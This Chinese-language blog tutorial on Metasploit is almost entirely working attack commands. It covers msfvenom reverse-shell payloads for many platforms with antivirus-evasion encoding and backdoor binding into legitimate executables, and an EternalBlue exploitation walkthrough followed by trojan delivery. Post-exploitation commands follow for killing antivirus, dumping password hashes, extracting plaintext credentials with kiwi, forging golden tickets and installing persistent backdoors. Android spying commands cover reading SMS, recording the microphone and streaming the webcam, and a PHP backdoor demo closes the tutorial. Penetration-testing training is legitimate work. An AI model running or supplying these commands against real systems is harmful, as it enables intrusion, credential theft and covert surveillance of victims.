Msfconsole详细教程

msfconsole核心模块

用的时候可以用search命令进行搜索

msfvenom常用的命令参数

Kali中的 msfvenom 取代了msfpayload和msfencode,常用于生成后门木马

msfpayload是MSF攻击荷载生成器,用于生成shellcode和可执行代码。msfencode是MSF编码器。


一 、msfvenom 常用参数

-l列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all

-p指定需要使用的payload(攻击荷载)。

-f指定输出格式

Executable formats:Asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-smallhta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;

Transform formats:base32、base64、bash、c、csharp、dw、dword、hex、java、js_be、js_le、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript;

-e指定需要使用的encoder(编码器)编码免杀。

-a指定payload的目标架构

选择架构平台:x86 | x64 | x86_64Platforms:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe

-o保存payload文件输出。

-b设定规避字符集,比如: '\x00\xff'避免使用的字符

-n为payload预先指定一个NOP滑动长度

-s设定有效攻击荷载的最大长度生成payload的最大长度,就是文件大小。

-i指定payload的编码次数

-c指定一个附加的win32 shellcode文件

-x指定一个自定义的可执行文件作为模板例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

-k保护模板程序的动作,注入的payload作为一个新的进程运行例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

-v指定一个自定义的变量,以确定输出格式


二、各平台生成payload命令


Windows

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp

LHOST=192.168.3.33(攻击机IP) LPORT=4444(攻击的端口) -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10 -f exe -o payload.exe


Mac

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.33 LPORT=4444 -f macho -o payload.macho


Android

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -o payload.apk


Powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1


Linux

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f elf -o payload.elf


php

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f raw > shell.php


aspx

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f aspx -o payload.aspx


JSP

msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.jsp


war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw - o payload.war


nodejs

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.js


python

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.py


perl

msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.pl


ruby

msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.rb


lua

msfvenom -p cmd/unix/reverse_lua LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.lua


windows shellcode

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c


linux shellcode

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c


mac shellcode

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c

msfconsole使用流程

1、前期交互阶段

2、情报收集阶段

3、威胁建模阶段

4、漏洞分析阶段

5、渗透利用阶段

6、后渗透利用阶段

7、报告阶段

二、实际操作(举例)

1 情报搜集

基于msf发现内网存活主机

search 搜索

msf终端内输入 search scanner type:auxiliary

可用于发现主机的模块

auxiliary/scanner/discovery/arp_sweep # 基于ARP发现内网存活主机

auxiliary/scanner/discovery/udp_sweep # 基于UDP发现内网存活主机

auxiliary/scanner/ftp/ftp_version # 发现FTP服务

auxiliary/scanner/http/http_version # 发现HTTP服务

auxiliary/scanner/smb/smb_version # 基于smb发现内网存活主机

基于netbios发现内网存活主机

基于snmap发现内网存活主机

基于ICMP发现内网存活主机

2 威胁建模


经过第一步情报收集 我们通过arp发现了 目标机器ip

然后通过对目标机器的ip扫描 我们知道了 目标机器开通了 80端口 有web服务 开了ftp端口 有文件服务

开了 smb

最终决定对smb相关的漏洞进行利用

备选方案通过植入木马的方式进行利用


3 漏洞分析

第一步先查看smb利用漏洞有哪些 比如永恒之蓝

1 查询msf与永恒之蓝相关的 模块

使用命令 search ms17_010

2 然后我们利用了一个永恒之蓝的 扫描模块

use auxiliary/scanner/smb/smb_ms17_010

3 输入 options 查看扫描模块需要配置的参数

3.1 然后我们配置了rhost (rhost指的是目标主机ip)

set rhost ip

4 然后我们执行扫描 输入 run

发现了 可能存在漏洞的主机

4 渗透利用


1 加载 永恒之蓝漏洞利用模块

use exploit/windows/smb/ms17_010_eternalblue

2 输入 options 查看扫描模块需要配置的参数

3.1 然后我们配置了rhost (rhost指的是目标主机ip)

set rhost ip

3.2 然后我们配置了 lhost (lhost指的是 监控主机或攻击机 ip)

set lhost ip

3.3 然后我们配置了 lport (指的是监控的端口 )

set lport ip

注意端口必须没有被占用

4 然后我们执行扫描 输入 run 执行永恒之蓝漏洞利用

但是发现失败 提示 模块已经利用了 但是没有返回对应 session

5 备选方案通过植入木马的方式进行利用


1 我们知道目标机器是win系统 所以使用msfvenom 生成一个win平台的木马

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp

LHOST=192.168.3.33 LPORT=4446 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10 -f exe -o payload.exe

2 漏洞生成后 通过启动一个py服务将木马上传到目标机器

python -m SimpleHTTPServer 80

3 配置监控程序我们使用了

use exploit/multi/handler

3 输入 options进入配置

3.1 然后我们配置了 lhost (lhost指的是 监控主机或攻击机 ip)

set lhost ip

3.2然后我们配置了 lport (指的是监控的端口 )

set lport ip

注意端口必须和msfvenom 生成的木马端口一样才行

4 配置攻击载荷 payload

set payload windows/meterpreter/reverse_tcp

5 执行利用等待目标机器执行木马

6 目标机器执行了木马

利用成功并获得meterpreter


5 后渗透利用

信息收集模块:

  1. post/multi/gather/enum_services

    • 用途:枚举目标主机上正在运行的服务。
    • 信息:列出了目标系统上的所有运行服务及其相关信息。
  1. post/multi/gather/enum_shares

    • 用途:枚举目标主机上的共享文件夹。
    • 信息:列出了目标系统上共享的文件夹及其访问权限。
  1. post/multi/gather/enum_users

    • 用途:枚举目标主机上的用户账户。
    • 信息:列出了目标系统上的用户账户及其相关信息。
  1. post/multi/gather/enum_services_local

    • 用途:本地枚举系统服务。
    • 信息:列出了目标系统上正在运行的服务及其详细信息。
  1. post/windows/gather/enum_dom_users

    • 用途:枚举 Windows 域内的用户账户。
    • 信息:列出了目标 Windows 主机上的域用户账户及其详细信息。

权限提升模块:

  1. post/multi/manage/execute

    • 用途:在目标主机上执行任意命令。
    • 功能:以当前权限执行指定的命令,可用于权限提升。
  1. post/multi/recon/local_exploit_suggester

    • 用途:推荐可用于提升本地权限的漏洞利用模块。
    • 功能:根据目标系统的配置和已知漏洞,推荐可能的本地提权漏洞利用模块。
  1. post/multi/manage/migrate

    • 用途:将 Meterpreter 会话迁移到其他进程。
    • 功能:将当前 Meterpreter 会话从当前进程迁移到其他正在运行的进程,通常用于隐藏和提升持久性。
  1. post/windows/manage/enable_rdp

    • 用途:启用远程桌面服务(RDP)。
    • 功能:允许攻击者远程桌面连接到目标 Windows 主机,以便进行进一步的操作。
  1. post/windows/manage/persistence_exec

    • 用途:在目标系统上建立持久性后门。
    • 功能:将 Meterpreter 后门安装为持续运行的服务或计划任务,以便在系统重启后仍然保持访问权限。

Metasploit Framework(MSF)提供了一些模块,用于在目标系统上尝试使用 sudo 权限或 setuid/setgid 提权。以下是一些常见的模块示例:

1. sudo 提权模块:

  • post/linux/manage/sudo:
    • 用途:通过 sudo 提权。
    • 设置:主要设置 SESSION 选项来指定目标会话。
    • 示例:

bashuse post/linux/manage/sudo set SESSION 1 run

2. setuid 提权模块:

  • post/multi/recon/local_exploit_suggester

    • 用途:自动推断可能的本地提权漏洞并提供建议。
    • 设置:无需特别设置,它会自动分析目标系统并提供建议。
    • 示例:

bashuse post/multi/recon/local_exploit_suggester run

  • post/linux/gather/enum_application_shells

    • 用途:枚举具有 SUID/SGID 标志的潜在可用于提权的应用程序。
    • 设置:主要设置 SESSION 选项来指定目标会话。
    • 示例:

bashuse post/linux/gather/enum_application_shells set SESSION 1 run

这些模块是用于在渗透测试中尝试提权的示例。请注意,成功提权依赖于目标系统上存在的漏洞,而这些漏洞可能会受到操作系统版本、配置和安全补丁的影响。在使用这些模块之前,请确保你已经获取了足够的授权,并遵守适用法律和道德准则。

进入新文档

6 报告阶段

三、meterpereter功能介绍

1、 Meterpreter是什么

Meterpreter是Metasploit框架中的一个利器,作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后会返回一个由我们控制的通道,可用于远程执行命令!Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要了解下。

2、Meterpreter中常用的反弹类型

1.reverse_tcp这是一个基于TCP的反向链接反弹shell, 使用起来很稳定

3、Meterpreter的常用命令

基本命令

help# 查看Meterpreter帮助

background#返回,把meterpreter后台挂起bgkill# 杀死一个 meterpreter 脚本bglist#提供所有正在运行的后台脚本的列表bgrun#作为一个后台线程运行脚本channel#显示活动频道sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用sesssions -k number #与会话进行交互close# 关闭通道exit# 终止 meterpreter 会话quit# 终止 meterpreter 会话interact id #切换进一个信道 run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等 irb# 进入 Ruby 脚本模式 read# 从通道读取数据write# 将数据写入到一个通道 run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本use# 加载 meterpreter 的扩展load/use#加载模块 Resource#执行一个已有的rc脚本

常用命令

针对安卓手机的一些命令

获取手机通讯录: dump_contacts

获取短信记录:dump_sms

控制实验手机发短信:send_sms -d 15330252525 -t"hello"

获取实验手机GPS定位信息:geolocate

获取实验手机Wi-Fi定位信息:wlan_geolocate

控制实验手机录音:record_mic-d 5

获取实验手机相机设备:webcam_list

控制实验手机拍照 :webcam_snap

直播实验手机摄像头:webcam_stream

针对Windows的一些命令

查看进程:ps

查看当前进程号:getpid

查看系统信息:sysinfo

查看目标机是否为虚拟机:runpost/windows/gather/checkvm

查看完整网络设置:route

查看当前权限:getuid

自动提权:getsystem

关闭杀毒软件:run post/windows/manage/killav

启动远程桌面协议:run post/windows/manage/enable_rdp

列举当前登录的用户:run post/windows/gather/enum_logged_on_users

查看当前应用程序:run post/windows/gather/enum_applications

抓取目标机的屏幕截图:load espia ; screengrab

获取相机设备:webcam_list

控制拍照 :webcam_snap

直播摄像头:webcam_stream

控制录音:record_mic

查看当前处于目标机的那个目录:pwd

查看当前目录:getlwd

导出当前用户密码哈希 run hashdump

用户名:SID:LM哈希:NTLM哈希:::

也可以使用下面这个命令导出 权限更高 run windows/gather/smart_hashdump

抓取自动登录的用户名和密码 run windows/gather/credentials/windows_autologin

直接获取明文密码(注意这个功能需要获取系统权限 获取系统权限需要输入getsystem)

首选终端输入 load kiwi 加载kiwi

creds_all:列举所有凭据creds_kerberos:列举所有kerberos凭据creds_msv:列举所有msv凭据creds_ssp:列举所有ssp凭据creds_tspkg:列举所有tspkg凭据creds_wdigest:列举所有wdigest凭据dcsync:通过DCSync检索用户帐户信息dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RIDgolden_ticket_create:创建黄金票据kerberos_ticket_list:列举kerberos票据kerberos_ticket_purge:清除kerberos票据kerberos_ticket_use:使用kerberos票据kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令lsa_dump_sam:dump出lsa的SAMlsa_dump_secrets:dump出lsa的密文password_change:修改密码wifi_list:列出当前用户的wifi配置文件wifi_list_shared:列出共享wifi配置文件/编码

文件系统命令

cat c:\boot.ini#查看文件内容,文件必须存在del c:\boot.ini #删除指定的文件upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload setup.exe C:\windows\system32download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\boot.ini /root/或者download C:\"ProgramFiles"\Tencent\QQ\Users\295**125\Msg2.0.db /root/edit c:\boot.ini # 编辑文件getlwd#打印本地目录getwd#打印工作目录lcd#更改本地目录ls#列出在当前目录中的文件列表lpwd#打印本地目录pwd#输出工作目录cd c:\ #进入目录文件下rm file #删除文件mkdir dier #在受害者系统上的创建目录rmdir#受害者系统上删除目录dir#列出目标主机的文件和文件夹信息mv#修改目标主机上的文件名search -d d:\www -f web.config #search 文件,如search -d c:\ -f.docmeterpreter > search -f autoexec.bat #搜索文件meterpreter > search -f sea.bat c:\xamp\enumdesktops #用户登录数

四、PHP后门反弹连接演示

一、 环境准备

1 DVWA靶场

DVWA下载:https://codeload.github.com/ethicalhack3r/DVWA/zip/master

注意:配置DVWA环境 准备PHP7.0以上,和 Nginx环境 1 配置数据库密码 配置 config/config.inc.php.dist 文件(注意后门的 .dist要通过重命名删掉)2 使用浏览器访问 http://XxIP/setup.php33 红字问题解决4 缺少key 直接替换下面2句 或者 访问https://www.google.com/recaptcha/admin/create$DVWA[ 'recaptcha_public_key' ] = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';$DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';5 allow_url_include: Disabled 提示没开启找到php目录里的php.ini allow_url_include 将后面参数OFF 改成On 修改完成重启Nginx生

2 Metasploit任意平台

可以是Windows版,可以是kali自带版

二、Metasploit配置监控及攻击载荷

1 配置监控-使用handler模块

use exploit/multi/handler

2 配置攻击载荷设置payload

第一步设置payload

set payload php/meterpreter/reverse_tcp

第二步设置 lhost(kali的ip)和 lport(kali的端口)

set lhost xxxip ;

set lport xxx端口;

3 生成php后门执行攻击获得meterpreter

新建一个终端在终端内输入

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.3.23 lport=4456 R>shell.php

3.2 传播- 使用Python简单的web服务

python -m SimpleHTTPServer 80

将shell.php

3.3 执行攻击获得meterpreter

run 或者exploit

获取到meterpreter 我们就可以做渗透操作了

比如 观看屏幕 可以在meterpreter里输入

run vnc

查看当前账号可以在meterpreter里输入

getuid

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值